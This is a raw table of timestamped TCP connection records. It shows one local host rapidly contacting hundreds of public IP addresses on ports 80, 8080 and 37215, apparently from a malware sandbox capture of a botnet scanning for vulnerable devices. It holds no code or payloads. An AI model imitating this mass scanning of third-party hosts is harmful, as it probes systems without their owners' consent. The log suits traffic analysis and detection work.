Feb 19, 2025 19:48:56.038315058 CET	7685	80	192.168.2.15	95.151.224.146
Feb 19, 2025 19:48:56.038317919 CET	7685	80	192.168.2.15	95.35.41.60
Feb 19, 2025 19:48:56.038345098 CET	7685	80	192.168.2.15	95.93.199.19
Feb 19, 2025 19:48:56.038358927 CET	7685	80	192.168.2.15	95.181.202.236
Feb 19, 2025 19:48:56.038358927 CET	7685	80	192.168.2.15	95.118.205.227
Feb 19, 2025 19:48:56.038393021 CET	7685	80	192.168.2.15	95.163.174.240
Feb 19, 2025 19:48:56.038430929 CET	7685	80	192.168.2.15	95.174.196.223
Feb 19, 2025 19:48:56.038444042 CET	7685	80	192.168.2.15	95.198.73.241
Feb 19, 2025 19:48:56.038484097 CET	7685	80	192.168.2.15	95.206.241.103
Feb 19, 2025 19:48:56.038496017 CET	7685	80	192.168.2.15	95.255.50.142
Feb 19, 2025 19:48:56.038526058 CET	7685	80	192.168.2.15	95.55.96.187
Feb 19, 2025 19:48:56.038526058 CET	7685	80	192.168.2.15	95.63.58.20
Feb 19, 2025 19:48:56.038547993 CET	7685	80	192.168.2.15	95.218.114.207
Feb 19, 2025 19:48:56.038587093 CET	7685	80	192.168.2.15	95.178.32.139
Feb 19, 2025 19:48:56.038587093 CET	7685	80	192.168.2.15	95.81.55.52
Feb 19, 2025 19:48:56.038587093 CET	7685	80	192.168.2.15	95.3.19.210
Feb 19, 2025 19:48:56.038605928 CET	7685	80	192.168.2.15	95.106.211.15
Feb 19, 2025 19:48:56.038614035 CET	7685	80	192.168.2.15	95.101.148.32
Feb 19, 2025 19:48:56.038656950 CET	7685	80	192.168.2.15	95.53.91.86
Feb 19, 2025 19:48:56.038659096 CET	7685	80	192.168.2.15	95.222.61.161
Feb 19, 2025 19:48:56.038659096 CET	7685	80	192.168.2.15	95.144.78.226
Feb 19, 2025 19:48:56.038700104 CET	7685	80	192.168.2.15	95.186.229.13
Feb 19, 2025 19:48:56.038700104 CET	7685	80	192.168.2.15	95.254.165.210
Feb 19, 2025 19:48:56.038701057 CET	7685	80	192.168.2.15	95.54.114.247
Feb 19, 2025 19:48:56.038712025 CET	7685	80	192.168.2.15	95.182.43.183
Feb 19, 2025 19:48:56.038728952 CET	7685	80	192.168.2.15	95.40.78.105
Feb 19, 2025 19:48:56.038796902 CET	7685	80	192.168.2.15	95.53.24.139
Feb 19, 2025 19:48:56.038798094 CET	7685	80	192.168.2.15	95.51.59.113
Feb 19, 2025 19:48:56.038800001 CET	7685	80	192.168.2.15	95.245.224.209
Feb 19, 2025 19:48:56.038810015 CET	7685	80	192.168.2.15	95.41.95.164
Feb 19, 2025 19:48:56.038853884 CET	7685	80	192.168.2.15	95.165.247.27
Feb 19, 2025 19:48:56.038855076 CET	7685	80	192.168.2.15	95.171.130.112
Feb 19, 2025 19:48:56.038891077 CET	7685	80	192.168.2.15	95.143.77.231
Feb 19, 2025 19:48:56.038894892 CET	7685	80	192.168.2.15	95.162.141.104
Feb 19, 2025 19:48:56.038918018 CET	7685	80	192.168.2.15	95.170.36.211
Feb 19, 2025 19:48:56.038944006 CET	7685	80	192.168.2.15	95.178.157.47
Feb 19, 2025 19:48:56.038947105 CET	7685	80	192.168.2.15	95.124.236.103
Feb 19, 2025 19:48:56.038961887 CET	7685	80	192.168.2.15	95.107.84.89
Feb 19, 2025 19:48:56.038961887 CET	7685	80	192.168.2.15	95.86.219.177
Feb 19, 2025 19:48:56.038961887 CET	7685	80	192.168.2.15	95.171.155.216
Feb 19, 2025 19:48:56.038999081 CET	7685	80	192.168.2.15	95.17.159.174
Feb 19, 2025 19:48:56.039004087 CET	7685	80	192.168.2.15	95.98.15.222
Feb 19, 2025 19:48:56.039004087 CET	7685	80	192.168.2.15	95.76.110.126
Feb 19, 2025 19:48:56.039011002 CET	7685	80	192.168.2.15	95.209.128.124
Feb 19, 2025 19:48:56.039060116 CET	7685	80	192.168.2.15	95.150.52.156
Feb 19, 2025 19:48:56.039062023 CET	7685	80	192.168.2.15	95.15.71.12
Feb 19, 2025 19:48:56.039125919 CET	7685	80	192.168.2.15	95.116.236.200
Feb 19, 2025 19:48:56.039125919 CET	7685	80	192.168.2.15	95.7.159.219
Feb 19, 2025 19:48:56.039125919 CET	7685	80	192.168.2.15	95.178.0.99
Feb 19, 2025 19:48:56.039175034 CET	7685	80	192.168.2.15	95.219.185.105
Feb 19, 2025 19:48:56.039175034 CET	7685	80	192.168.2.15	95.152.141.59
Feb 19, 2025 19:48:56.039177895 CET	7685	80	192.168.2.15	95.162.85.88
Feb 19, 2025 19:48:56.039182901 CET	7685	80	192.168.2.15	95.251.55.203
Feb 19, 2025 19:48:56.039182901 CET	7685	80	192.168.2.15	95.254.32.231
Feb 19, 2025 19:48:56.039182901 CET	7685	80	192.168.2.15	95.127.95.41
Feb 19, 2025 19:48:56.039182901 CET	7685	80	192.168.2.15	95.103.87.218
Feb 19, 2025 19:48:56.039182901 CET	7685	80	192.168.2.15	95.38.232.78
Feb 19, 2025 19:48:56.039182901 CET	7685	80	192.168.2.15	95.183.161.173
Feb 19, 2025 19:48:56.039182901 CET	7685	80	192.168.2.15	95.102.181.203
Feb 19, 2025 19:48:56.039205074 CET	7685	80	192.168.2.15	95.68.153.21
Feb 19, 2025 19:48:56.039205074 CET	7685	80	192.168.2.15	95.135.124.98
Feb 19, 2025 19:48:56.039206028 CET	7685	80	192.168.2.15	95.146.187.127
Feb 19, 2025 19:48:56.039206028 CET	7685	80	192.168.2.15	95.28.77.32
Feb 19, 2025 19:48:56.039206028 CET	7685	80	192.168.2.15	95.123.164.110
Feb 19, 2025 19:48:56.039206028 CET	7685	80	192.168.2.15	95.0.100.50
Feb 19, 2025 19:48:56.039222956 CET	7685	80	192.168.2.15	95.100.130.206
Feb 19, 2025 19:48:56.039251089 CET	7685	80	192.168.2.15	95.202.93.169
Feb 19, 2025 19:48:56.039279938 CET	7685	80	192.168.2.15	95.195.27.29
Feb 19, 2025 19:48:56.039279938 CET	7685	80	192.168.2.15	95.233.102.246
Feb 19, 2025 19:48:56.039282084 CET	7685	80	192.168.2.15	95.245.137.199
Feb 19, 2025 19:48:56.039324999 CET	7685	80	192.168.2.15	95.60.74.118
Feb 19, 2025 19:48:56.039328098 CET	7685	80	192.168.2.15	95.213.117.51
Feb 19, 2025 19:48:56.039330006 CET	7685	80	192.168.2.15	95.76.67.226
Feb 19, 2025 19:48:56.039330006 CET	7685	80	192.168.2.15	95.8.23.210
Feb 19, 2025 19:48:56.039341927 CET	7685	80	192.168.2.15	95.125.226.84
Feb 19, 2025 19:48:56.039360046 CET	7685	80	192.168.2.15	95.3.146.248
Feb 19, 2025 19:48:56.039378881 CET	7685	80	192.168.2.15	95.56.169.96
Feb 19, 2025 19:48:56.039403915 CET	7685	80	192.168.2.15	95.56.188.63
Feb 19, 2025 19:48:56.039406061 CET	7685	80	192.168.2.15	95.163.65.34
Feb 19, 2025 19:48:56.039448977 CET	7685	80	192.168.2.15	95.28.179.131
Feb 19, 2025 19:48:56.039449930 CET	7685	80	192.168.2.15	95.206.31.212
Feb 19, 2025 19:48:56.039480925 CET	7685	80	192.168.2.15	95.189.149.181
Feb 19, 2025 19:48:56.039480925 CET	7685	80	192.168.2.15	95.190.243.248
Feb 19, 2025 19:48:56.039480925 CET	7685	80	192.168.2.15	95.132.99.2
Feb 19, 2025 19:48:56.039490938 CET	7685	80	192.168.2.15	95.76.253.35
Feb 19, 2025 19:48:56.039509058 CET	7685	80	192.168.2.15	95.16.113.29
Feb 19, 2025 19:48:56.039525986 CET	7685	80	192.168.2.15	95.36.108.122
Feb 19, 2025 19:48:56.039561033 CET	7685	80	192.168.2.15	95.113.252.237
Feb 19, 2025 19:48:56.039588928 CET	7685	80	192.168.2.15	95.36.121.94
Feb 19, 2025 19:48:56.039614916 CET	7685	80	192.168.2.15	95.113.50.241
Feb 19, 2025 19:48:56.039638042 CET	7685	80	192.168.2.15	95.220.44.119
Feb 19, 2025 19:48:56.039684057 CET	7685	80	192.168.2.15	95.221.175.183
Feb 19, 2025 19:48:56.039695978 CET	7685	80	192.168.2.15	95.179.68.65
Feb 19, 2025 19:48:56.039722919 CET	7685	80	192.168.2.15	95.26.57.203
Feb 19, 2025 19:48:56.039722919 CET	7685	80	192.168.2.15	95.61.184.57
Feb 19, 2025 19:48:56.039722919 CET	7685	80	192.168.2.15	95.55.155.55
Feb 19, 2025 19:48:56.039730072 CET	7685	80	192.168.2.15	95.186.226.46
Feb 19, 2025 19:48:56.039777994 CET	7685	80	192.168.2.15	95.250.104.11
Feb 19, 2025 19:48:56.039777994 CET	7685	80	192.168.2.15	95.245.103.218
Feb 19, 2025 19:48:56.039777994 CET	7685	80	192.168.2.15	95.115.104.90
Feb 19, 2025 19:48:56.039803028 CET	7685	80	192.168.2.15	95.38.214.225
Feb 19, 2025 19:48:56.039804935 CET	7685	80	192.168.2.15	95.99.13.46
Feb 19, 2025 19:48:56.039820910 CET	7685	80	192.168.2.15	95.0.198.168
Feb 19, 2025 19:48:56.039835930 CET	7685	80	192.168.2.15	95.166.11.53
Feb 19, 2025 19:48:56.039874077 CET	7685	80	192.168.2.15	95.228.55.54
Feb 19, 2025 19:48:56.039875984 CET	7685	80	192.168.2.15	95.72.195.251
Feb 19, 2025 19:48:56.039896011 CET	7685	80	192.168.2.15	95.159.123.102
Feb 19, 2025 19:48:56.039901972 CET	7685	80	192.168.2.15	95.172.64.131
Feb 19, 2025 19:48:56.039932013 CET	7685	80	192.168.2.15	95.148.25.128
Feb 19, 2025 19:48:56.039932013 CET	7685	80	192.168.2.15	95.167.84.85
Feb 19, 2025 19:48:56.039932013 CET	7685	80	192.168.2.15	95.119.110.150
Feb 19, 2025 19:48:56.039933920 CET	7685	80	192.168.2.15	95.143.142.22
Feb 19, 2025 19:48:56.039935112 CET	7685	80	192.168.2.15	95.255.79.51
Feb 19, 2025 19:48:56.039968967 CET	7685	80	192.168.2.15	95.6.21.174
Feb 19, 2025 19:48:56.039969921 CET	7685	80	192.168.2.15	95.147.136.214
Feb 19, 2025 19:48:56.039969921 CET	7685	80	192.168.2.15	95.235.37.32
Feb 19, 2025 19:48:56.039980888 CET	7685	80	192.168.2.15	95.199.16.245
Feb 19, 2025 19:48:56.040008068 CET	7685	80	192.168.2.15	95.115.208.241
Feb 19, 2025 19:48:56.040009975 CET	7685	80	192.168.2.15	95.226.52.104
Feb 19, 2025 19:48:56.040025949 CET	7685	80	192.168.2.15	95.49.154.237
Feb 19, 2025 19:48:56.040045977 CET	7685	80	192.168.2.15	95.205.145.78
Feb 19, 2025 19:48:56.040060997 CET	7685	80	192.168.2.15	95.179.126.232
Feb 19, 2025 19:48:56.040081978 CET	7685	80	192.168.2.15	95.73.128.108
Feb 19, 2025 19:48:56.040128946 CET	7685	80	192.168.2.15	95.135.148.32
Feb 19, 2025 19:48:56.040128946 CET	7685	80	192.168.2.15	95.210.42.195
Feb 19, 2025 19:48:56.040128946 CET	7685	80	192.168.2.15	95.217.146.155
Feb 19, 2025 19:48:56.040149927 CET	7685	80	192.168.2.15	95.123.186.41
Feb 19, 2025 19:48:56.040196896 CET	7685	80	192.168.2.15	95.64.158.178
Feb 19, 2025 19:48:56.040196896 CET	7685	80	192.168.2.15	95.2.111.9
Feb 19, 2025 19:48:56.040226936 CET	7685	80	192.168.2.15	95.53.58.151
Feb 19, 2025 19:48:56.040226936 CET	7685	80	192.168.2.15	95.105.117.188
Feb 19, 2025 19:48:56.040227890 CET	7685	80	192.168.2.15	95.177.54.140
Feb 19, 2025 19:48:56.040266991 CET	7685	80	192.168.2.15	95.103.136.133
Feb 19, 2025 19:48:56.040292978 CET	7685	80	192.168.2.15	95.246.83.142
Feb 19, 2025 19:48:56.040296078 CET	7685	80	192.168.2.15	95.120.53.238
Feb 19, 2025 19:48:56.040297031 CET	7685	80	192.168.2.15	95.137.212.196
Feb 19, 2025 19:48:56.040297031 CET	7685	80	192.168.2.15	95.2.29.151
Feb 19, 2025 19:48:56.040297031 CET	7685	80	192.168.2.15	95.14.9.29
Feb 19, 2025 19:48:56.040350914 CET	7685	80	192.168.2.15	95.29.144.124
Feb 19, 2025 19:48:56.040352106 CET	7685	80	192.168.2.15	95.21.202.204
Feb 19, 2025 19:48:56.040353060 CET	7685	80	192.168.2.15	95.98.173.151
Feb 19, 2025 19:48:56.040565968 CET	58060	80	192.168.2.15	88.82.168.5
Feb 19, 2025 19:48:56.040587902 CET	58060	80	192.168.2.15	88.82.168.5
Feb 19, 2025 19:48:56.043180943 CET	7685	80	192.168.2.15	95.82.192.157
Feb 19, 2025 19:48:56.043180943 CET	7685	80	192.168.2.15	95.129.62.142
Feb 19, 2025 19:48:56.043180943 CET	7685	80	192.168.2.15	95.225.202.9
Feb 19, 2025 19:48:56.043180943 CET	7685	80	192.168.2.15	95.13.156.96
Feb 19, 2025 19:48:56.043180943 CET	7685	80	192.168.2.15	95.115.132.230
Feb 19, 2025 19:48:56.043180943 CET	7685	80	192.168.2.15	95.78.148.162
Feb 19, 2025 19:48:56.043180943 CET	7685	80	192.168.2.15	95.127.229.247
Feb 19, 2025 19:48:56.043190956 CET	80	7685	95.242.151.229	192.168.2.15
Feb 19, 2025 19:48:56.043241024 CET	7685	80	192.168.2.15	95.242.151.229
Feb 19, 2025 19:48:56.045528889 CET	80	58060	88.82.168.5	192.168.2.15
Feb 19, 2025 19:48:56.054054022 CET	39632	37215	192.168.2.15	157.54.14.224
Feb 19, 2025 19:48:56.059142113 CET	37215	39632	157.54.14.224	192.168.2.15
Feb 19, 2025 19:48:56.059252024 CET	39632	37215	192.168.2.15	157.54.14.224
Feb 19, 2025 19:48:56.064564943 CET	57940	80	192.168.2.15	88.63.95.80
Feb 19, 2025 19:48:56.068633080 CET	58558	80	192.168.2.15	88.82.168.5
Feb 19, 2025 19:48:56.069545031 CET	80	57940	88.63.95.80	192.168.2.15
Feb 19, 2025 19:48:56.069586992 CET	57940	80	192.168.2.15	88.63.95.80
Feb 19, 2025 19:48:56.073587894 CET	80	58558	88.82.168.5	192.168.2.15
Feb 19, 2025 19:48:56.073632002 CET	58558	80	192.168.2.15	88.82.168.5
Feb 19, 2025 19:48:56.086266041 CET	80	58060	88.82.168.5	192.168.2.15
Feb 19, 2025 19:48:56.096565962 CET	43908	8080	192.168.2.15	85.113.175.212
Feb 19, 2025 19:48:56.096569061 CET	37600	80	192.168.2.15	88.117.130.208
Feb 19, 2025 19:48:56.096577883 CET	37660	8080	192.168.2.15	31.201.217.18
Feb 19, 2025 19:48:56.096590042 CET	37124	8080	192.168.2.15	62.68.118.99
Feb 19, 2025 19:48:56.096595049 CET	59142	80	192.168.2.15	88.166.4.21
Feb 19, 2025 19:48:56.096595049 CET	38836	80	192.168.2.15	88.34.29.247
Feb 19, 2025 19:48:56.099179029 CET	45584	80	192.168.2.15	88.121.203.246
Feb 19, 2025 19:48:56.099179029 CET	50626	80	192.168.2.15	88.192.221.252
Feb 19, 2025 19:48:56.101438046 CET	38592	80	192.168.2.15	88.57.1.237
Feb 19, 2025 19:48:56.101438046 CET	38592	80	192.168.2.15	88.57.1.237
Feb 19, 2025 19:48:56.101665020 CET	8080	43908	85.113.175.212	192.168.2.15
Feb 19, 2025 19:48:56.101677895 CET	80	37600	88.117.130.208	192.168.2.15
Feb 19, 2025 19:48:56.101687908 CET	8080	37660	31.201.217.18	192.168.2.15
Feb 19, 2025 19:48:56.101711035 CET	43908	8080	192.168.2.15	85.113.175.212
Feb 19, 2025 19:48:56.101718903 CET	37600	80	192.168.2.15	88.117.130.208
Feb 19, 2025 19:48:56.101727962 CET	37660	8080	192.168.2.15	31.201.217.18
Feb 19, 2025 19:48:56.102015018 CET	37660	8080	192.168.2.15	31.201.217.18
Feb 19, 2025 19:48:56.102026939 CET	37660	8080	192.168.2.15	31.201.217.18
Feb 19, 2025 19:48:56.104001045 CET	58192	37215	192.168.2.15	157.205.41.156
Feb 19, 2025 19:48:56.106458902 CET	80	38592	88.57.1.237	192.168.2.15
Feb 19, 2025 19:48:56.106992960 CET	8080	37660	31.201.217.18	192.168.2.15
Feb 19, 2025 19:48:56.128577948 CET	34768	8080	192.168.2.15	85.236.40.38
Feb 19, 2025 19:48:56.128582954 CET	35466	80	192.168.2.15	88.101.160.168
Feb 19, 2025 19:48:56.128582954 CET	60862	80	192.168.2.15	88.18.199.2
Feb 19, 2025 19:48:56.128592968 CET	37110	8080	192.168.2.15	31.184.229.106
Feb 19, 2025 19:48:56.128592968 CET	55534	80	192.168.2.15	88.203.127.224
Feb 19, 2025 19:48:56.128592968 CET	57578	80	192.168.2.15	88.60.160.90
Feb 19, 2025 19:48:56.128592968 CET	55814	8080	192.168.2.15	31.231.56.252
Feb 19, 2025 19:48:56.128592014 CET	49632	80	192.168.2.15	88.106.102.198
Feb 19, 2025 19:48:56.128592014 CET	60640	80	192.168.2.15	88.71.125.8
Feb 19, 2025 19:48:56.128606081 CET	55826	80	192.168.2.15	88.185.135.29
Feb 19, 2025 19:48:56.128616095 CET	59260	80	192.168.2.15	88.66.115.164
Feb 19, 2025 19:48:56.128617048 CET	59892	8080	192.168.2.15	94.164.160.141
Feb 19, 2025 19:48:56.130153894 CET	59778	8080	192.168.2.15	62.153.169.125
Feb 19, 2025 19:48:56.133621931 CET	8080	34768	85.236.40.38	192.168.2.15
Feb 19, 2025 19:48:56.133641958 CET	80	55534	88.203.127.224	192.168.2.15
Feb 19, 2025 19:48:56.133652925 CET	80	35466	88.101.160.168	192.168.2.15
Feb 19, 2025 19:48:56.133666039 CET	34768	8080	192.168.2.15	85.236.40.38
Feb 19, 2025 19:48:56.133685112 CET	55534	80	192.168.2.15	88.203.127.224
Feb 19, 2025 19:48:56.133706093 CET	35466	80	192.168.2.15	88.101.160.168
Feb 19, 2025 19:48:56.143260956 CET	39090	80	192.168.2.15	88.57.1.237
Feb 19, 2025 19:48:56.148294926 CET	80	39090	88.57.1.237	192.168.2.15
Feb 19, 2025 19:48:56.148358107 CET	39090	80	192.168.2.15	88.57.1.237
Feb 19, 2025 19:48:56.151180029 CET	38138	8080	192.168.2.15	31.201.217.18
Feb 19, 2025 19:48:56.154206038 CET	8080	37660	31.201.217.18	192.168.2.15
Feb 19, 2025 19:48:56.154254913 CET	80	38592	88.57.1.237	192.168.2.15
Feb 19, 2025 19:48:56.156177044 CET	8080	38138	31.201.217.18	192.168.2.15
Feb 19, 2025 19:48:56.156236887 CET	38138	8080	192.168.2.15	31.201.217.18
Feb 19, 2025 19:48:56.160573006 CET	42240	8080	192.168.2.15	85.134.161.117
Feb 19, 2025 19:48:56.160576105 CET	54574	80	192.168.2.15	88.48.100.245
Feb 19, 2025 19:48:56.160576105 CET	46244	80	192.168.2.15	88.3.136.18
Feb 19, 2025 19:48:56.160581112 CET	54876	80	192.168.2.15	88.176.126.224
Feb 19, 2025 19:48:56.160581112 CET	52134	80	192.168.2.15	88.189.29.188
Feb 19, 2025 19:48:56.160581112 CET	36284	80	192.168.2.15	88.223.221.54
Feb 19, 2025 19:48:56.160583973 CET	44574	80	192.168.2.15	88.179.141.180
Feb 19, 2025 19:48:56.160597086 CET	58186	80	192.168.2.15	88.204.163.71
Feb 19, 2025 19:48:56.160598993 CET	39058	80	192.168.2.15	88.237.48.175
Feb 19, 2025 19:48:56.160602093 CET	45546	8080	192.168.2.15	85.73.31.183
Feb 19, 2025 19:48:56.160604954 CET	50842	8080	192.168.2.15	31.180.156.198
Feb 19, 2025 19:48:56.160604954 CET	39958	80	192.168.2.15	88.221.224.71
Feb 19, 2025 19:48:56.160608053 CET	42122	80	192.168.2.15	88.113.196.193
Feb 19, 2025 19:48:56.160609961 CET	41562	8080	192.168.2.15	62.224.176.126
Feb 19, 2025 19:48:56.160624027 CET	38126	80	192.168.2.15	88.137.129.16
Feb 19, 2025 19:48:56.160624027 CET	33514	80	192.168.2.15	88.233.218.212
Feb 19, 2025 19:48:56.160628080 CET	51190	8080	192.168.2.15	62.60.151.254
Feb 19, 2025 19:48:56.160628080 CET	47390	8080	192.168.2.15	85.134.169.148
Feb 19, 2025 19:48:56.160631895 CET	43618	8080	192.168.2.15	94.234.153.206
Feb 19, 2025 19:48:56.160635948 CET	35138	80	192.168.2.15	88.108.227.193
Feb 19, 2025 19:48:56.160635948 CET	36554	80	192.168.2.15	88.58.37.176
Feb 19, 2025 19:48:56.160646915 CET	35120	8080	192.168.2.15	85.200.95.255
Feb 19, 2025 19:48:56.160646915 CET	45326	80	192.168.2.15	88.87.53.75
Feb 19, 2025 19:48:56.160655022 CET	42802	80	192.168.2.15	88.234.84.235
Feb 19, 2025 19:48:56.160655022 CET	47310	8080	192.168.2.15	94.222.254.70
Feb 19, 2025 19:48:56.160655022 CET	47508	80	192.168.2.15	88.120.189.157
Feb 19, 2025 19:48:56.160656929 CET	33288	80	192.168.2.15	88.60.236.92
Feb 19, 2025 19:48:56.160659075 CET	51306	8080	192.168.2.15	95.120.169.196
Feb 19, 2025 19:48:56.163173914 CET	57488	80	192.168.2.15	88.202.98.128
Feb 19, 2025 19:48:56.163182020 CET	34434	8080	192.168.2.15	85.62.14.39
Feb 19, 2025 19:48:56.163182020 CET	46914	80	192.168.2.15	88.253.91.74
Feb 19, 2025 19:48:56.163182020 CET	48300	80	192.168.2.15	88.121.38.254
Feb 19, 2025 19:48:56.163182020 CET	42802	80	192.168.2.15	88.221.52.195
Feb 19, 2025 19:48:56.165616035 CET	8080	42240	85.134.161.117	192.168.2.15
Feb 19, 2025 19:48:56.165705919 CET	42240	8080	192.168.2.15	85.134.161.117
Feb 19, 2025 19:48:56.184413910 CET	43908	8080	192.168.2.15	85.113.175.212
Feb 19, 2025 19:48:56.184413910 CET	43908	8080	192.168.2.15	85.113.175.212
Feb 19, 2025 19:48:56.187489033 CET	38112	37215	192.168.2.15	157.230.45.210
Feb 19, 2025 19:48:56.189342022 CET	8080	43908	85.113.175.212	192.168.2.15
Feb 19, 2025 19:48:56.192472935 CET	37215	38112	157.230.45.210	192.168.2.15
Feb 19, 2025 19:48:56.192522049 CET	38112	37215	192.168.2.15	157.230.45.210
Feb 19, 2025 19:48:56.192559958 CET	40302	8080	192.168.2.15	95.144.247.14
Feb 19, 2025 19:48:56.192567110 CET	40884	8080	192.168.2.15	95.209.100.23
Feb 19, 2025 19:48:56.192567110 CET	51916	8080	192.168.2.15	31.182.52.132
Feb 19, 2025 19:48:56.192569971 CET	55694	8080	192.168.2.15	95.240.45.10
Feb 19, 2025 19:48:56.192569971 CET	54850	8080	192.168.2.15	85.14.71.97
Feb 19, 2025 19:48:56.192581892 CET	47808	8080	192.168.2.15	95.109.102.187
Feb 19, 2025 19:48:56.192581892 CET	50326	8080	192.168.2.15	31.147.97.236
Feb 19, 2025 19:48:56.192584038 CET	51818	8080	192.168.2.15	95.221.230.183
Feb 19, 2025 19:48:56.192584991 CET	57640	8080	192.168.2.15	62.201.151.65
Feb 19, 2025 19:48:56.192591906 CET	53178	8080	192.168.2.15	62.175.93.231
Feb 19, 2025 19:48:56.192591906 CET	58184	8080	192.168.2.15	31.96.8.238
Feb 19, 2025 19:48:56.192599058 CET	52456	8080	192.168.2.15	85.217.163.85
Feb 19, 2025 19:48:56.192606926 CET	42972	8080	192.168.2.15	85.125.44.40
Feb 19, 2025 19:48:56.192606926 CET	57624	8080	192.168.2.15	85.227.253.201
Feb 19, 2025 19:48:56.192616940 CET	41274	8080	192.168.2.15	31.38.128.107
Feb 19, 2025 19:48:56.192626953 CET	33318	8080	192.168.2.15	31.54.76.12
Feb 19, 2025 19:48:56.192630053 CET	40548	8080	192.168.2.15	62.102.138.235
Feb 19, 2025 19:48:56.192636013 CET	54496	8080	192.168.2.15	85.24.89.56
Feb 19, 2025 19:48:56.192637920 CET	55458	8080	192.168.2.15	85.44.109.191
Feb 19, 2025 19:48:56.192639112 CET	60438	8080	192.168.2.15	62.153.226.232
Feb 19, 2025 19:48:56.192641020 CET	54870	8080	192.168.2.15	94.82.157.72
Feb 19, 2025 19:48:56.192641973 CET	59162	8080	192.168.2.15	85.200.114.150
Feb 19, 2025 19:48:56.192641973 CET	55226	8080	192.168.2.15	94.61.80.238
Feb 19, 2025 19:48:56.192641973 CET	51454	8080	192.168.2.15	85.182.120.251
Feb 19, 2025 19:48:56.192653894 CET	45696	80	192.168.2.15	88.35.173.43
Feb 19, 2025 19:48:56.192656994 CET	37496	8080	192.168.2.15	31.196.188.142
Feb 19, 2025 19:48:56.192656994 CET	57206	80	192.168.2.15	88.213.50.251
Feb 19, 2025 19:48:56.192656994 CET	52122	80	192.168.2.15	88.194.34.47
Feb 19, 2025 19:48:56.192657948 CET	47658	8080	192.168.2.15	94.89.169.159
Feb 19, 2025 19:48:56.192657948 CET	46520	80	192.168.2.15	88.57.193.113
Feb 19, 2025 19:48:56.192657948 CET	49526	80	192.168.2.15	88.208.83.69
Feb 19, 2025 19:48:56.192660093 CET	39436	8080	192.168.2.15	95.104.2.211
Feb 19, 2025 19:48:56.192660093 CET	52918	8080	192.168.2.15	85.72.211.210
Feb 19, 2025 19:48:56.192665100 CET	38176	8080	192.168.2.15	94.175.0.244
Feb 19, 2025 19:48:56.192665100 CET	51916	8080	192.168.2.15	85.229.224.190
Feb 19, 2025 19:48:56.195174932 CET	42548	80	192.168.2.15	88.57.83.20
Feb 19, 2025 19:48:56.195182085 CET	37500	8080	192.168.2.15	62.181.70.168
Feb 19, 2025 19:48:56.195182085 CET	44270	8080	192.168.2.15	95.64.79.87
Feb 19, 2025 19:48:56.195182085 CET	41132	80	192.168.2.15	88.202.176.102
Feb 19, 2025 19:48:56.195182085 CET	52010	80	192.168.2.15	88.123.145.21
Feb 19, 2025 19:48:56.195687056 CET	41164	80	192.168.2.15	95.242.151.229
Feb 19, 2025 19:48:56.197665930 CET	8080	40302	95.144.247.14	192.168.2.15
Feb 19, 2025 19:48:56.197675943 CET	8080	40884	95.209.100.23	192.168.2.15
Feb 19, 2025 19:48:56.197714090 CET	40302	8080	192.168.2.15	95.144.247.14
Feb 19, 2025 19:48:56.197741032 CET	40884	8080	192.168.2.15	95.209.100.23
Feb 19, 2025 19:48:56.200665951 CET	80	41164	95.242.151.229	192.168.2.15
Feb 19, 2025 19:48:56.200753927 CET	41164	80	192.168.2.15	95.242.151.229
Feb 19, 2025 19:48:56.204194069 CET	44386	8080	192.168.2.15	85.113.175.212
Feb 19, 2025 19:48:56.204989910 CET	58558	80	192.168.2.15	88.82.168.5
Feb 19, 2025 19:48:56.204999924 CET	39090	80	192.168.2.15	88.57.1.237
Feb 19, 2025 19:48:56.205033064 CET	57940	80	192.168.2.15	88.63.95.80
Feb 19, 2025 19:48:56.205033064 CET	57940	80	192.168.2.15	88.63.95.80
Feb 19, 2025 19:48:56.206301928 CET	38138	8080	192.168.2.15	31.201.217.18
Feb 19, 2025 19:48:56.206351995 CET	34768	8080	192.168.2.15	85.236.40.38
Feb 19, 2025 19:48:56.206351995 CET	34768	8080	192.168.2.15	85.236.40.38
Feb 19, 2025 19:48:56.206425905 CET	33356	37215	192.168.2.15	157.104.59.86
Feb 19, 2025 19:48:56.206593990 CET	58444	80	192.168.2.15	88.63.95.80
Feb 19, 2025 19:48:56.208039045 CET	35222	8080	192.168.2.15	85.236.40.38
Feb 19, 2025 19:48:56.208817005 CET	41164	80	192.168.2.15	95.242.151.229
Feb 19, 2025 19:48:56.208817005 CET	41164	80	192.168.2.15	95.242.151.229
Feb 19, 2025 19:48:56.209928989 CET	41174	80	192.168.2.15	95.242.151.229
Feb 19, 2025 19:48:56.210062981 CET	42240	8080	192.168.2.15	85.134.161.117
Feb 19, 2025 19:48:56.210062981 CET	42240	8080	192.168.2.15	85.134.161.117
Feb 19, 2025 19:48:56.210103989 CET	80	57940	88.63.95.80	192.168.2.15
Feb 19, 2025 19:48:56.210115910 CET	80	58558	88.82.168.5	192.168.2.15
Feb 19, 2025 19:48:56.210159063 CET	58558	80	192.168.2.15	88.82.168.5
Feb 19, 2025 19:48:56.210216045 CET	80	39090	88.57.1.237	192.168.2.15
Feb 19, 2025 19:48:56.210256100 CET	39090	80	192.168.2.15	88.57.1.237
Feb 19, 2025 19:48:56.210278034 CET	39176	37215	192.168.2.15	157.109.54.98
Feb 19, 2025 19:48:56.211357117 CET	8080	38138	31.201.217.18	192.168.2.15
Feb 19, 2025 19:48:56.211368084 CET	8080	34768	85.236.40.38	192.168.2.15
Feb 19, 2025 19:48:56.211396933 CET	38138	8080	192.168.2.15	31.201.217.18
Feb 19, 2025 19:48:56.212258101 CET	37600	80	192.168.2.15	88.117.130.208
Feb 19, 2025 19:48:56.212259054 CET	37600	80	192.168.2.15	88.117.130.208
Feb 19, 2025 19:48:56.212407112 CET	42622	8080	192.168.2.15	85.134.161.117
Feb 19, 2025 19:48:56.213048935 CET	8080	35222	85.236.40.38	192.168.2.15
Feb 19, 2025 19:48:56.213087082 CET	35222	8080	192.168.2.15	85.236.40.38
Feb 19, 2025 19:48:56.213787079 CET	80	41164	95.242.151.229	192.168.2.15
Feb 19, 2025 19:48:56.213854074 CET	38094	80	192.168.2.15	88.117.130.208
Feb 19, 2025 19:48:56.214142084 CET	40302	8080	192.168.2.15	95.144.247.14
Feb 19, 2025 19:48:56.214158058 CET	40302	8080	192.168.2.15	95.144.247.14
Feb 19, 2025 19:48:56.214319944 CET	56166	37215	192.168.2.15	157.18.199.7
Feb 19, 2025 19:48:56.215075016 CET	8080	42240	85.134.161.117	192.168.2.15
Feb 19, 2025 19:48:56.215307951 CET	55534	80	192.168.2.15	88.203.127.224
Feb 19, 2025 19:48:56.215307951 CET	55534	80	192.168.2.15	88.203.127.224
Feb 19, 2025 19:48:56.215723038 CET	40608	8080	192.168.2.15	95.144.247.14
